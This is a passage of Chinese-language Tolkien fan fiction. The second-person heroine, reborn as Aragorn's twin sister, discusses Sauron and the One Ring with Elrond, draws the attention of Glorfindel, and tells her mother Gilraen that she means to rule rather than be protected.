既然打开了这个话题,你就顺着说下去将自己这些年发生的事情概括之后说给埃尔隆德听免得他之后还得要再找机会了解这些事情,还会浪费你们的时间呢。 尽管你在说这些事情的时候,脸上都是带着礼貌的笑容的但是埃尔隆德还是通过你的语言描述,看到了当时孤立无援的你,他轻轻地叹了一口气,然后安慰道:“从今往后,你再也不会遭遇这样的事情了。” 这可不好说,毕竟你还决定要亲手杀死索伦呢。 第74章 第74章是顺路吗?还是单纯的就…… 在确认阿拉贡的情况稳定下来以后,你就有和埃尔隆德漫步于幽谷的长廊,他就和其他你遇到的精灵一样,和你说起阿拉贡小时候的事情就像是在弥补你们这些年错过的时光。 但其实你对于阿拉贡的过往并没有那么感兴趣,因此在埃尔隆德停顿的时候,你就换了个话题,你说:“关于十多年前的那场战争,我认为事出蹊跷。” 听你突然提起十多年前的那一场战争,埃尔隆德的思绪也飘回到过往,实际上他当初也是那么认为的。 毕竟那只半兽人大军来得气势汹汹,而且打得边境军队猝不及防,但如果仔细思索一下就会发现,这场由半兽人主动发起的战争到最后其实他们并没有获得多少好处。 而且他们占据的领地也不算什么军事要塞,根本不值得他们当初这么大费周章地发动攻击,除非他们是为了其他的目的,比占领这块土地还要重要的目的。 “的确……而且在这之前索伦都没有主动发起过攻击。”无论是精灵还是人类都认为索伦这是在韬光养晦,养精蓄锐。 “是的,所以我认为占领那片土地的目的是次要的,主要的目的还是为了杀死人类王室的后代。” 索伦肯定是听到了什么风声,有可能是与你和阿拉贡有关的预言,索伦就和他的前一任主人一样非常相信预言。 “你已经知道了自己的真实身世了吗?”埃尔隆德略带惊讶地问道,因为他直到现在都还没有告诉你的哥哥阿拉贡他的真实身世,至于你又是如何得知自己的身世的呢……? 你从他的脸上读出疑惑的神色,“关于我的真实身世没有人告诉我,是我自己通过收集信息推测出来的。” “你的哥哥还不知道这件事。” 这很正常,因为从心理年龄来看你可比阿拉贡大好几十岁呢,你能够推测出自己的真实身世也不奇怪。 你们在穿过一条长廊后脚步停下,在这条长廊的尽头连接着的平台上驻足眺望远方,你说:“那么您打算什么时候告诉他这件事情呢?” “现在告诉他还为时过早,我认为他还没有做好承担责任的心理准备。” 承担责任?该不会是承担君主的责任吧? 你不由得反问道:“那么我就不需要承担与他相同的责任了吗?” 埃尔隆德不会像上一个副本你的父亲那样斩钉截铁地告诉你不适合成为君主,相反地,他的语调从始至终都非常温和,他说:“你也是一样的,既然你和阿拉贡都是阿拉松的后代,那么我认为你们肩上承担的责任是相等的。” 这个纪元的精灵和人类思想都开明了不少,当然也有可能是因为上一个副本的你创造了女人成为君主的先例,只要有了这样一个先例,从此以后这样的例子只会越来越多。 这就像是站在前人的肩膀上眺望未来,只不过对于你来说,这一位前人同样也是你自己。 讨论到后面问题的重心就变成了索伦为什么要专门杀死人类王室的后代呢? “因为他在害怕,在恐惧被那些人类打败。”你一针见血地指出索伦所害怕的东西,那就是再一次被人类,尤其是你这样的人类打败。 埃尔隆德得要承认你说的话有一定的道理,但是索伦的阴险狡诈还是不容小觑的,他说:“这些年来我听闻索伦一直都在寻找他的至尊魔戒,但这一枚戒指从上一任主人伊希尔杜手中消失后就再没了关于它的消息。” 下落不明的至尊魔戒就如同悬挂于精灵和人类以及矮人头顶的达摩克里斯之剑,不知何时才会落下,也不知落下时会造成怎样的后果,带来怎样的风波。 一旦让索伦找到那一枚他打造的至尊魔戒,那么后果不堪设想。 虽说精灵可以选择西渡去往维林诺躲避这一次的灾祸,可是剩下的种族呢,人类和矮人应该如何是好呢? 而且生性品德高尚的精灵也不会向黑暗屈服。 因此埃尔隆德也一直在考虑这件事情,只是没想到今天才与你初次见面,就聊到了这样严肃的问题,而且你给他的感觉和阿拉贡截然不同,岂止是阿拉贡,放眼所有与你同龄的人类,你的冷静理智程度也在同龄人之上。 埃尔隆德原本只想着将这件事情一笔带过的,因为就算真的和你聊起这件事,也只会徒增你的烦恼,而且他最担心的是你会一时头脑发热反而中了索伦的圈套,现在重伤卧床休养的阿拉贡就是一个典型的前车之鉴。 但是与你交谈一番下来他发现自己之前的看法太过肤浅,而且带着先入为主的主观色彩。 实际上你远比他想象的成熟稳重得多,你说:“我认为可以先开始寻找那一枚下落不明的至尊魔戒。” “但是那一枚戒指拥有操控人心的可怕力量,任何拿到这枚戒指的人都会被蛊惑,失去自己原本的初心。” 就如同你和阿拉贡的祖先伊希尔杜,埃尔隆德没有把这后半句话说出来,但是既然你都已经说过自己早已知晓真实身世,那么你应该也知道在千百年前那一位名为伊希尔杜的君主就因为至尊魔戒丢了性命。 埃尔隆德实在是担心历史会重演。 “虽然我也无法肯定拿到那一枚魔戒之后会对我产生怎样的影响,但是有一点可以肯定,如果我们占据主动权,一旦让索伦拿回他的戒指,那我们就彻底丧失了主导权。” “……这件事情我认为还需要和其他精灵以及人类商讨后才能确定。”他嘴里所说的其他精灵主要指的就是纳国斯隆德的芬罗德,在诺多王室的第一和第二家族精灵纷纷选择西渡回到维林诺后,诺多至高王的王冠也落到了芬罗德头上,现在他才是真正的诺多至高王。 所以于情于理埃尔隆德都需要过问他一声,但你也知道精灵商讨这些事情有多耗费时间,所以你已经在心里默默做出决定,那就是自己先去寻找魔戒。 你在面上还是表示赞同埃尔隆德的建议,后来你们又在谈论起密林的事情,这个话题还是埃尔隆德先提起来的,他说:“那位密林的精灵王就那么放心地派出自己的儿子来护送你吗?” 该说不说,埃尔隆德的直觉可真敏锐,根据他对瑟兰迪尔的了解,对方是不会贸然让自己的儿子去冒险的,你有些心虚地把视线移到另外一边,恰好在这时,你捕捉到了从远方赶过来的身影。 “这是……?” 埃尔隆德顺着你眼神的方向看过去,哪怕现在夜幕降临,他也能将来者看得一清二楚,他说:“那位是格洛芬德尔大人,曾经的金花领主。” 至于为什么要说是曾经的金花领主,这主要是因为他所效忠的君主图尔巩在千百年前,因为思念妻子而选择带着其他族人一同西渡。 在图尔巩和其他精灵西渡后的一段时间内,选择留在中土的精灵都居住在刚多林内,直到后来埃尔隆德在幽谷建立了一片新的精灵领地,一部分刚多林的精灵选择来到幽谷生活,这其中就包括了格洛芬德尔。 当然,格洛芬德尔选择来到幽谷生活的原因,不仅仅是因为厌倦了刚多林的生活,更重要的是在某天晚上他做了一个梦,恰恰是这个梦促使 他做出离开刚多林的决定。 在梦中他看见你的灵魂漫无目的地在这世间飘荡,然后又一次降临于世,尽管在这个梦中他看不清你的面容,可是他很熟悉你的灵魂,他知道你的灵魂终有一天还会再次回到中土。 更重要的是,你最后的归宿是一片山谷,那也是精灵的领地,因此,格洛芬德尔在听说埃雅仁迪尔的儿子建立了另外一处精灵聚居地,并且将其命名为幽谷的时候他就意识到那个梦并非简单的梦,更像是带有启示意味的梦。 因此,在听说这个消息之后格洛芬德尔不假思索地来到幽谷,跟随他一同而来的还有也想要搬离刚多林的精灵。 对于曾经的刚多林子民,埃尔隆德敞开幽谷的大门欢迎他们的到来,那一段时间幽谷变得异常热闹。 这段历史被埃尔隆德概括为三两句话语,但你能通过他的话语想象当时的画面有多么热闹。 “他也一直觉得应该趁早找到索伦的魔戒,因此这些年来他一直在外奔波寻找魔戒。”埃尔隆德说。 只不过格洛芬德尔在外奔波的原因,不仅仅是为了寻找索伦的魔戒,另外一方面也是为了帮助阿拉贡找回他的双生子妹妹。 从外面回来的格洛芬德尔还不知道自己接下来会面对什么,他骑着那匹白马穿过连接着平台的窄道,然后在平台上停下,从马背上下来,那匹白马非常听话地自己走向马厩。 此时守在宫殿大门口的精灵侍卫还询问格洛芬德尔这次出去有何收获。 格洛芬德尔的声音清朗:“如果说杀死了一群半兽人也算是收获的话,那么我可真是收获满满啊。” 门口的精灵一听就知道他这是在开玩笑,格洛芬德尔正要穿过宫殿的大门,恰好在这时他感受到了来自你们的视线,因此他忽然抬起头,与你四目相对,你的表情没什么变化,反倒是他的神色顿了顿。 站在你身边的埃尔隆德说:“他每次回来之后都会向我汇报外面的情况,所以这次也不例外,正好你们也可以谈论一下如何寻找魔戒的下落。” 在你与埃尔隆德谈话间,格洛芬德尔的视线也未曾从你身上离开过,直到你又向他投去一个眼神,这才使得他再次迈开脚步,穿过宫殿大门,循着熟悉的路线去往埃尔隆德的书房等候他的到来。 埃尔隆德也说:“他现在应该这样去我的书房,你也随我一同去吧。” 你思考片刻,按理来说只要你没有主动暴露自己上一个副本的信息,那么格洛芬格尔应该也不会将你和曾经的多尔罗国王联系在一起。 所以你还是跟着埃尔隆德一同前往他的书房,等你们走到书房门口的时候,格罗芬德尔已经先一步在门外等候着了,见到你和埃尔隆德,他对着你们微微点了点头,“埃尔隆德大人,你现在应该没有别的事情要处理吧?” 虽然这话是对着埃尔隆德说的,但是他的目光都似有若无地从你身上飘过,你的存在无时无刻不在吸引着他的注意力。 就连埃尔隆德也察觉到了这一点,他主动向格洛芬德尔介绍你:“这位是亚玟,阿拉贡的双生子妹妹。” “太好了,阿拉贡见到你一定会很开心的。” “前提是他得先醒过来。”你说。 不了解来龙去脉的格洛芬德尔不清楚你为什么会这么说,埃尔隆德解释道:“阿拉贡在索伦的引导下认为他的妹妹在莫里亚,所以他孤身前往寻找她,但是没想到中了索伦的圈套,好在危急时刻还是亚玟解救了他。” 格洛芬德尔认真地听埃尔隆德说完这些事情,他先是询问阿拉贡的情况,在得到他情况稳定的答复后才又问你,“但你又是怎么知道阿拉贡被困在莫里亚的呢?” “关于这件事情,恐怕我也无法给您提供确切的答案,如果真的要说的话,我认为这是双生子之间的心灵感应,那段时间尤其是阿拉贡遇险的时候我时常会做噩梦,梦里的阿拉贡被半兽人军队团团围住。” 双生子之间确实会存在这样的心灵感应,格洛芬德尔庆幸道:“还好你及时赶到。” 眼看着你们一直站在书房门口谈话,埃尔隆德推开书房的门,点亮房间里的灯,转过头对你们说:“二位不如还是先坐下来再慢慢谈吧?” 格洛芬德尔不好意思地笑了一下,“抱歉,是我的问题太多了。” 你怎么觉得几千年过去格洛芬德尔的性格几乎没有发生什么改变呢? 他还是和以前一样性格坦率爽朗,偶尔还喜欢和别的精灵开玩笑。 你走到埃尔隆德的书房里找了一张椅子坐下,格洛芬德尔的笑容在关上门的时候逐渐消失,原来他在其他精灵面前的开朗都是伪装出来的,他说:“现在的情况不是很乐观。” 这些年他自告奋勇在外面寻找至尊魔戒的下落,但时至今日他都没有什么头绪,他甚至开始怀疑是不是索伦早就已经找到了这一枚戒指,而他一直都在嘲弄着他们精灵的一举一动呢? “我在担心他是不是已经找回了至尊魔戒。”格洛芬德尔神色凝重。 但你却斩钉截铁地说:“不,他肯定还没有找到魔戒,否则他也不会那样畏手畏脚的。” 假如说他都已经找回了魔戒实力强劲,他又为什么要这样畏畏缩缩的呢?如果是用小心谨慎来解释,这也很不合理呀。 “这听上去就好像你很了解他一样。”格洛芬德尔突然这样冒出一句。 事实是和在场的精灵相比,你确实是更加了解索伦的那一个,毕竟当初你在魔苟斯的领地内和他抬头不见低头见,难免会有一些交集,经过这些接触,你也对索伦有了一些深入了解。 你说:“我这些只是推测而已,当然你们也可以不采纳我的建议大胆假设他已经拿到了魔戒。” 埃尔隆德说:“不,我觉得你说的很有道理,现在索伦对精灵和人类以及矮人还有所畏惧。” 最好的情况就是你们赶在索伦之前找到魔戒,然后销毁它,彻底摧毁这一个纪元的大反派,至于之后的安排,你应该还会重返多尔罗明,看看那里发展得如何。 比起继承刚铎的王位无论怎么看都是多尔罗明的国土以及发展情况更吸引你。 但这些事情都要等到先把索伦解决了再说。 这个话题暂时告一段落,格洛芬德尔又问起你过去的那十多年是在哪里度过的。 当你回答自己是被密林的精灵王瑟兰迪尔收留的时候,格洛芬德尔的眉毛微微蹙起,他小声地说:“那一位精灵王……?” 瑟兰迪尔看起来可不像是会管闲事的好心精灵,因此他不能推测出你应该和瑟兰迪尔达成了交易。 “是的,虽然那位精灵王可能在你们看来没有那么友善,但他确确实实帮助了我许多。” 你说这句话主要是为了消除他们对瑟兰迪尔的刻板印象,但不知道怎么的,这话落到他们耳朵里就变了一层意味。 埃尔隆德更是再次向你道歉,“我为发生在你身上的事情感到抱歉。” 他怎么老是跟你道歉啊?你不由得这样的疑惑。 格洛芬德尔则是切入正题地问:“但他肯定向你提出了什么条件吧?这些条件我可以替你达成。” 这下子不光是你,就连 埃尔隆德也感到诧异,因为无论怎么说,你是他的弟弟埃尔洛斯的后人,就算再怎么算,也应该是由他来帮你才对。 而且格洛芬德尔今天才与你初次见面用,为什么会那么关心你呢?就算他平常对阿拉贡确实很关心,但是这份关心也不至于那么快地转移到你身上吧? 而格洛芬德尔却不觉得自己说错了什么,他是发自内心的想要帮助你,因为在看到你的那一刻,他的心间涌现出一股熟悉的感觉。 就算他也不确定人类是否会存在前世今生这一说,但他仅凭这熟悉感就想要帮助你。 看到情况有些不对劲的埃尔隆德及时开口:“我想这件事情还是交给我来处理比较好吧?” 闻言,格洛芬德尔这才意识到自己刚才好像说错了话,他向埃尔隆德低声道歉,后者轻轻地摇了摇头,像埃尔隆德这样好脾气的精灵,根本不至于因为这种小事情而动怒。 “所以你可以和我们说说那位精灵王提出的条件是什么吗?”埃尔隆德耐心地问道。 “只是一些简单的珠宝而已,除此之外就再没有别的要求了。” 真的那么简单吗? 此时此刻,格洛芬德尔和埃尔隆德内心的想法出奇的一致。 那就是,瑟兰迪尔绝不会只提出这些要求的,肯定还有什么隐藏的条件是你没有意识到或者是你没有说的。 不过这个话题被你单方面终止了,因为你觉得这个话题本身就没什么好聊的。 从至尊魔戒的下落一直到密林的精灵王,你们在这个书房里谈论了很多话题,时间也在不知不觉中飞速流逝。 等这场谈话结束的时候,屋外的夜色变得越发浓重,你走出书房,正打算回到自己的房间休息,在你之后离开书房的格洛芬德尔亦步亦趋地跟在你身后。 是顺路吗?还是单纯的就想要跟在你身后呢? 你不由得想起在上一个副本里格洛芬德也十分喜欢当你的小尾巴,怎么这个习惯他过了几千年都还没有改掉呢? 走出一段路后,突然停住脚步,猝不及防地回过头,站在不远处的格洛芬德尔难得地显现出几分手足无措,他缓慢地眨了一下眼睛,像是再缓解自己的不自然,然后说:“怎么了?” 他居然还先问你怎么了,你说:“我很好,只是您现在的样子看上去有些奇怪。” 很奇怪吗?格洛芬德尔下意识地调整自己的表情,他自己也说不清楚,为什么要跟随你的脚步,仅仅是因为你给他一种熟悉的感觉吗? 原因好像不仅仅是这样,更重要的是他总觉得如果不跟着你的话,不知道什么时候你又会消失不见了。 “我……”格洛芬德尔一时之间不知道该说些什么好,他平常可不是这样子的,放在往日就算是不熟悉的精灵,他见到以后也能说上几句话,而且还能谈笑风生呢,才不会像现在这样一句话都憋不出来。 这样的情况非常少见,只出现在几千年前,他在面对那位人类公主的时候。 第75章 第75章怎么会连性格上的小瑕疵…… “时间不早了,格洛芬德尔大人,我想您也应该去休息了。”你的话语单方面中断格洛芬德尔与你的对话,后者缓慢地点了点头,说:“是的……那我也不打扰你了。” 说完这话你就转身离开,当天晚上你睡得很熟,这是你自从密林离开以后睡的第一个安稳觉,从密林到幽谷在这期间你和陶瑞尔他们大部分时间都在披星戴月地赶路,即便是睡觉休息也只是找个平坦的地方以大地为席。 但格洛芬德尔当天晚上可就没有你那么好的睡眠质量,准确来说他基本上都没怎么睡觉,他把夜晚的时间都用在思考你带给他的熟悉感到底从何而来这件事情上,或许你是那位伊玟陛下的后人?但是他清楚地记得你并没有留下后代,而且如果真的留下了后代,想必纳国斯隆德的精灵也会悉心照顾的。 也许是伊玟的血脉的旁支后代,所以才会和那位陛下这么相像,不过思考到这里,这一切都只是他自己的猜测而已,没有任何线索来佐证。 而且这个猜测也不太能说得通,因为既然你是那位陛下后人,那他以前初次见到阿拉贡的时候又为什么没有这样的熟悉感呢?这个问题陷入了死路,他一时之间找不到答案,而自己也无法安然入睡,不过好在精灵一晚上不休息其实也没什么影响,因此隔天早上你见到格洛芬德尔的时候他还是一副神采奕奕的模样,丝毫看不出来他昨天晚上彻夜未眠。 你是在去往餐厅的路上遇见格洛芬德尔的,彼时的他恰好在和别的精灵交谈,瞥见你的身影,他就转过头来热情友善地向你打招呼,“亚玟你是在寻找餐厅吗?我给你带路吧。” 有些热情过了头,就好像是在刻意地接近你,他是带着什么目的而来的呢? 你礼貌地向他点头,“早上好格洛芬德尔大人,我想我应该知道餐厅在哪里,还是不劳烦您了吧,而且您看起来现在好像还有事不是吗?” 你觉得自己说得已经足够直接的了,他绝对是能听懂你的意思的,但是没成想格洛芬德尔还装出一副不明白的样子,笑着说:“不,这怎么会是劳烦呢,而且我现在实际上并没有什么事情。” “啊但我听说埃克塞理安大人好像找您有事……”刚才和格洛芬德尔聊天的精灵小声地说道,格洛芬德尔立马咳嗽一声,然后说:“我和他已经说好了,让他待会来找我,所以总的来说——我现在是有空的。” “可是……”那个精灵犹豫了一下,然后指了指你已经离开的背影,“那位客人已经走远了。” 闻言,格洛芬德尔赶紧快步上前跟上你的脚步,他说:“你怎么先走了?” “我不想占用您太多的时间。”你搬出一个冠冕堂皇的理由,格洛芬德尔可不觉得这是你先行离开的原因,你更像是懒得理会他们才直接走开的。 怎么会连性格上的小瑕疵也如出一辙呢? 格洛芬德尔走在你的左边,与你并肩同行,当初你在图尔巩的领地上生活的时候他也习惯于走在你的左侧,这个习惯他到现在都还没有改掉,他说:“这不算占用时间,而且不管怎么说你也是幽谷的客人,而我也有招待好客人的义务。” 这次来幽谷的客人可不止你一个,怎么不见他去好好招待陶瑞尔还有莱戈拉斯呢?不过说起陶瑞尔还有莱戈拉斯,你从昨天晚上就没怎么见过他们,听说他们跟着幽谷的双子埃尔拉丹还有埃洛希尔一同去森林里比赛射箭还有切磋剑术了,这对双子虽然年龄比这两位密林的精灵要大不少,但是依旧童心未泯,所以他们几个能玩到一块去倒也不奇怪。 你说:“幽谷的客人可不止我一个。” 被你这么一说格洛芬德尔才想起陶瑞尔和莱戈拉斯,“他们那边会有埃尔拉丹和埃洛希尔好好招待的。” 此时此刻格洛芬德尔嘴里好好招待客人的埃尔拉丹和埃洛希尔则是在轮番抱怨自己的父亲,说起这个话题那莱戈拉斯也很有共鸣,他说:“是的,总是管这管那的,真不知道他到底是什么时候变成这样的,明明以前他都不会在意这些事情的。” 陶瑞尔还想劝说两句的,但好在他们很快就又转变了话题,埃洛希尔说:“这么说来,你们是看着那孩子从小长大的精灵吗?唉,不是我说,埃斯泰尔小时候还更可爱一些,就是越长大越沉闷。” 莱戈拉斯没见过你小时候的样子,这个问题得要问陶瑞尔,她才是那个从小悉心照顾你的精灵,她说:“亚玟从小到大一直都很省心,而且我觉得她有着超出同龄人的理智与成熟。” 埃洛希尔还觉得陶瑞尔这么说是在夸张呢,不知道为什么,他们之间莫名产生了攀比的趋势,好像是要比较一下谁更擅长带孩子。 埃尔拉丹说:“埃斯泰尔十岁的时候就能熟练的开弓射箭,而且还陪着我们去打猎了呢。”这件事情他们都没有告诉父亲埃尔隆德,因为如果说了肯定会被批评一顿的,但就是这件事现在反而能拿出来当做比较的事例。 陶瑞尔不甘示弱地说:“十岁?亚玟九岁的时候就能射中天空中掠过的麻雀,百发百中从未失手过。” 莱戈拉斯也不知道发生了什么,只是眨眼间的功夫他们怎么就开始聊这些了?而且还聊得那么起劲,现场的气氛变得愈发火热,密林精灵的性格本来就直爽,说话也是那叫一个直截了当,说到后面,埃尔拉丹比了个停止的手势,然后说:“等一下, 你们不觉得我们好像跑题了吗?” 陶瑞尔可不这么觉得,她说:“你别转移话题,你得承认一点,那就是亚玟她确实很优秀。” 莱戈拉斯可真担心他的好友和幽谷的精灵起冲突,他连连点头,拉住陶瑞尔然后说:“是的,亚玟她确实很厉害。” “我确实得要承认这一点,但我们聊了这么多却忘了一点,那就是他们本身就是双生子,肯定有相似之处,我想他们也不愿意被我们这样比较来比较去的。”埃尔拉丹总结道。 现场的局面总算是控制下来了,莱戈拉斯不由地松了一口气,他说:“是的,我赞同埃尔拉丹的看法。” 后来他们几个又从幽谷旁边的森林里出来,因为昨天刚刚来到一个全新的地方,所以无论是陶瑞尔还是莱戈拉斯都一整晚没有睡觉光顾着在幽谷里到处散步探险了,不仅仅是他们,还有埃尔拉丹和埃洛希尔也都没怎么睡觉,反正少睡一觉也不会有什么影响。 他们从森林里出来以后先回房间换了一套衣服,接着才踩着早晨的尾巴去往餐厅享用早餐,而这时候你已经和格洛芬德尔在餐厅坐下有一会了,你拿起手边的水杯,今天的天气很不错,阳光灿烂,而且早餐也都是你喜欢的口味,一切都很好,如果格洛芬德尔能别总是悄无声息地注视你就好了。 虽然他在上一个副本曾经对你说过“如果真的要选择一个婚约对象为什么不能是我”这类话,但你还以为你在和吉尔-加拉德成婚以后他就该放弃这一份心思的,但是现在看来,他好像没有那么容易放弃。 与其让他一直这么安静地盯着你看,还不如聊聊天呢,你说:“埃尔隆德大人说您去过很多地方寻找那枚至尊魔戒的下落,具体是哪些地方您能和我说说吗?” 格洛芬德尔这才开口,他先是去了北方荒原,之后还去了已经沦为一片废墟的阿尔诺王国,但是他去的这些地方都没有找到任何线索,后来他猜测很可能魔戒还在南部地区,但他又想着中途再回幽谷一趟向埃尔隆德汇报情况,也得要感谢他这个决定让他得以见到你。 至尊魔戒很可能是在南部地区,也有可能已经顺着河流汇入大海,如果是这种情况那么找到魔戒的难度无异于大海捞针。 瞥见你微微皱起的眉毛,格洛芬德尔又说:“算了,我觉得早餐的时候不适合聊这些。”主要是因为他不希望看见你皱眉的模样。 “可是如果不聊些什么的话,您似乎一直都在观察我,这反而让我有些不自在。”你说。 他也没想到你居然能说得那么直接,他忙不迭地道歉,“抱歉,我……你有些像我以前认识的一位人类。” “一位人类?” “是的,她是一位杰出的人类,也许你也早有耳闻,她正是多尔罗明历史上第一位女性国王,而且在她之后,多尔罗明也由世袭制改为选举制,这正是使得多尔罗明维持几千年繁荣昌盛的重要原因。” 一说起曾经的那位君主,格洛芬德尔说得滔滔不绝,丝毫没有要停下来的迹象,说着说着,他的思绪就飘回到了从前。 而你则是耐着性子听格洛芬德尔如何夸赞上一个副本的你的功绩,有些地方你都觉得他说得有些太夸张了,你都忍不住想要纠正,但他说的语速很快,根本不给你纠正的机会,你喝了一口水,他总算是停顿了一下。 你原以为这个话题应该终结了的,但是没想到他只是简单地停顿了一下,然后就又继续往下说了。 说到后面,只见餐厅门口出现几道身影,你定睛一看,原来是一晚上没见面的陶瑞尔还有莱戈拉斯,跟在他们身后的还有两个面生的精灵,但是通过他们相似的长相,不难推断出他们是埃尔隆德的双生子,埃尔拉丹还有埃洛希尔。 性格更加活泼跳脱一点的是埃洛希尔,他一来到餐厅就对格洛芬德尔打招呼,“早上好啊格洛芬德尔大人,您身边这位就是我们幽谷的另外一个客人了吗?” 你朝着这对双生子点了点头算作打招呼,埃洛希尔在你身边坐下,很自来熟地观察你的侧脸,然后得出一个结论,“你好像和埃斯泰尔长得没有那么一模一样。” 毕竟从严格意义上来说你和阿拉贡是异卵双胞胎,长得相似才是小概率的,但你知道在这个世界还不存在异卵双胞胎这种概念,你说:“您是?” “我啊?嗯,我是埃洛希尔,旁边的是我的兄长埃尔拉丹,如你所见我们也是一对双生子。” 埃洛希尔热情地介绍自己还有自己的哥哥,你说:“的确,您二位如果从外表上来看的话,确实很难分辨出来。” “等相处的时间久了,你自然能够分辨出来的。”格洛芬德尔说,他对于埃洛希尔一来就分散你的注意力感到有些不适应,但因为他将这份不适应隐藏得很好,所以周围的精灵都没察觉,哪怕是你也没发现这一点,他就好像是在埃洛希尔进行一场非常普通的对话而已。 “没错,既然你这次来了幽谷,那以后就放心地住在这里吧,把这里当成自己家好了。”埃尔拉丹颇有主人风范地对你那么说,但是这话落在莱戈拉斯耳朵里就有些别扭了,他知道你的亲人都在这里,按理来说你也应该待在这里的,但是无论怎么说,你已经在密林度过了十多年的时光,难道这段时光也能被忽略吗? 因此他又补充道:“密林也是,那么密林就是你另外一个家。” 埃洛希尔不解地歪了歪脑袋,“但她以后可能都不会回密林了啊。” “这谁说的?而且你有问过她吗?密林的生活也不比幽谷差吧。” 眼看着一场论战即将爆发,在这时候你开口了,“诸位,不要让无意义的争吵毁掉这个美好的早晨,比起争论我更希望能和您们度过安静祥和的时光。” 格洛芬德尔看向你,他也顺着你的意思说:“是的没错,你们还是先吃早餐填饱肚子吧,其他的都免谈。” 第76章 第76章“下次……这种事情不会…… 在早餐结束以后,你先是去往母亲吉尔蕾恩的住所拜访她,这一次还没等你走进大门内她就主动出门迎接你,她说:“阿拉贡的事情我都已经知道了,还好他现在情况已经稳定下来。” 吉尔蕾恩一边说着一边牵着你的手将你带到屋内,而后又询问你是否吃过早餐,得到你肯定的答复后她说:“那再陪我喝杯茶吧,正好你也可以说说过去那些年遇到的事情。” 看得出来喝茶是次要的,主要还是为了弥补过去十多年与你分别的空白,她会这么说,你也表示理解。 再次坐在阳台的小桌旁,桌上摆放着一壶刚刚沏好的茶水,你想了想,从被迫和阿拉贡他们分开说起。 其实你并不觉得这段经历有什么令人难过的,而且说实话在瑟兰迪尔的帮助下,你这十多年过得很安稳,但是在你的母亲吉尔蕾恩看来,你那么说都只是为了不让她担心而已。 “以后……这种事情不会再发生了,你和你的哥哥不会再被迫分离了。” 你听她说这话总觉得有些不对劲,等一下,你得要确认一下她的想法,你说:“妈妈,你又怎么能肯定我们日后不会再分离呢?而且再说了,我已经知道了自己的真实身世,我和阿拉贡都是努门诺尔人王室的后代。” 吉尔蕾恩惊讶于你是如何得知这个消息的,她猜测道:“这是密林那位精灵王告诉你的吗?” 怎么可能,虽然你居住在密林里但你平常都很少见到这位精灵王,如果不是有必要的事情你也不会主动去见他,原因也很简单,这位精灵王说话实在是咄咄逼人,而且他每天都很忙碌你也没必要为一些琐事去打扰他。 “并不是,这是我自己推测出来的。”你说,然后为了缓解逐渐变得紧张的气氛,你拿起茶杯喝了一口茶,透过茶雾看过去 只能看见吉尔蕾恩朦胧的面容,以及她眉眼间若有若无的忧愁。 她没料到你居然提前猜到了致自己的身世,她叹了一口气,然后说:“是的……你和阿拉贡都是努门诺尔王室的后代,你的**后也会成为刚铎的国王,而你……” 听到这里,你的眼前又浮现出上一个副本的母亲雅维的身影,她也曾对你说过类似的话,都是告诉你,你的兄弟会成为国王,而你则是成为其他人的妻子。 你的神色也变得有些冷厉,你抬眼看向吉尔蕾恩,接上她没说完的话,“而我又会怎样呢?” 吉尔蕾恩伸出手抚摸你的侧脸,怜惜地说:“我不希望你被婚姻束缚,哪怕你找不到自己的真爱,就这样度过一生也很好,你可以成为阿拉贡的左右手,辅佐他,帮助他。” 还好她没有说替你物色结婚的人选,否则你大概会直接起身走人吧,但她说的这一番话也存在局限性,你说:“如果我不想辅佐他人呢?如果我想的是他人来辅佐我呢?” 吉尔蕾恩的脸色发生变化,但她没有像上一个副本的母亲那样质疑你,甚至认为你是被恶魔夺去了心神的怪物,她只是艰难地说:“可如果这样,就注定了你的道路是充满荆棘与危险的,我不想再承受失去你的痛苦。” 她对你的爱并不比阿拉贡少,甚至因为这些年的分别,她对你还心存浓重的愧疚,也恰恰是当初的被迫离别,让她无法忍受失去你的风险。 “妈妈。”你轻轻地说,“你不希望我被婚姻束缚,可又为什么要用亲情来困住我呢?” 吉尔蕾恩顿住了,“我……” 是啊,这两者又有什么区别呢? 你是看在吉尔蕾恩还有改变的余地这份上才没有把话说得如此决绝的,要是放在上一个副本你脾气可就没有那么好了。 “亚玟,我…但我……”吉尔蕾恩半天没有说出一句完整的话来。 你反握住她的手,“如果您真的爱我,就请成为我的助力,托举我,而非一味地保护我,困住我。” 其实在很久之前,在你和阿拉贡还只有四五岁的时候,阿拉松就和妻子吉尔蕾恩说起过关于日后王位继承的问题,在阿拉松看来你更像是个合格的继承人。 他说:“亚玟那孩子从小就展现出非凡的天赋,她拥有的这些才能就决定了她日后的人生注定不会平凡。她并不一定要成为谁的妻子,她能够成为她自己就好。” 但吉尔蕾恩却不那么认为,她对你的爱和丈夫阿拉松有所不同,她说:“可是如果她因此而遇到危险又该怎么办呢?我不想她太早死去,她是我的孩子,我只希望她一辈子平安顺遂。” 而在这时候,阿拉松却笑着说:“虽然你平日里经常陪着她,但是你对她的了解却比我还要少,她不是你想象中需要精心呵护的花朵,她是穿梭在惊涛骇浪中的海鸟,危险反而是她成长的基础。” 那场对话最终以吉尔蕾恩的沉默为结局,他们谁也没能说服谁,阿拉松觉得自己说的有道理,吉尔蕾恩又何尝不觉得自己才是正确的那一方。 直到十多年以后,直到你在刚才说出那一番话,吉尔蕾恩才意识到自己对你的了解是那么的浅薄,才发觉当初阿拉松说的是正确的。 正如同是多年前的对话,这次母女谈话的结局依旧是以吉尔蕾恩的沉默落下帷幕。 你喝完那一杯已经凉透了的茶,本来想着离开这里再去看看阿拉贡的情况,但是吉尔蕾恩却用恳请的语气对你说:“再多留一会吧,再陪我去花园逛一逛好吗?” 你看向吉尔蕾恩,十多年的岁月在她身上留下的痕迹化作白发和眼角的皱纹,她不再像你记忆中那样充满生命力,对于死去的丈夫的思念,以及对于生死未卜的你的愧疚,通通化作折磨,使得她身心俱疲。 看了她几秒,你叹息一口气,主动牵起她的手,说:“也不知道妈妈你这次在花园里都种了些什么呢?还有月桂树吗?我还记得以前花园里那棵月桂树,你总说那棵树的年龄比我和阿拉贡还要大。” “是的,那是我与你们的父亲成婚的时候我的母亲特意命人在花园里种下的。”吉尔蕾恩说道,提及这些过往的趣事,她原本紧绷的神经也逐渐放松下来。 在你有意的引导下,等你们到达花园的时候气氛变得十分和谐,在她住所旁边的花园里同样栽种着几棵月桂树,只不过这几棵树的长势远没有以前宫殿花园里的好。 吉尔蕾恩又问起你之后还有什么安排,听说你等一下还要再去看看昏迷中的阿拉贡,她便说:“那我和你一同去看看他吧。” 其实昨天在得知阿拉贡的情况后,吉尔蕾恩就想着去看看他的,但是时间太晚了,她那个时候去的话估计会打扰到他的休息,因此她才等到今天再去看望阿拉贡。 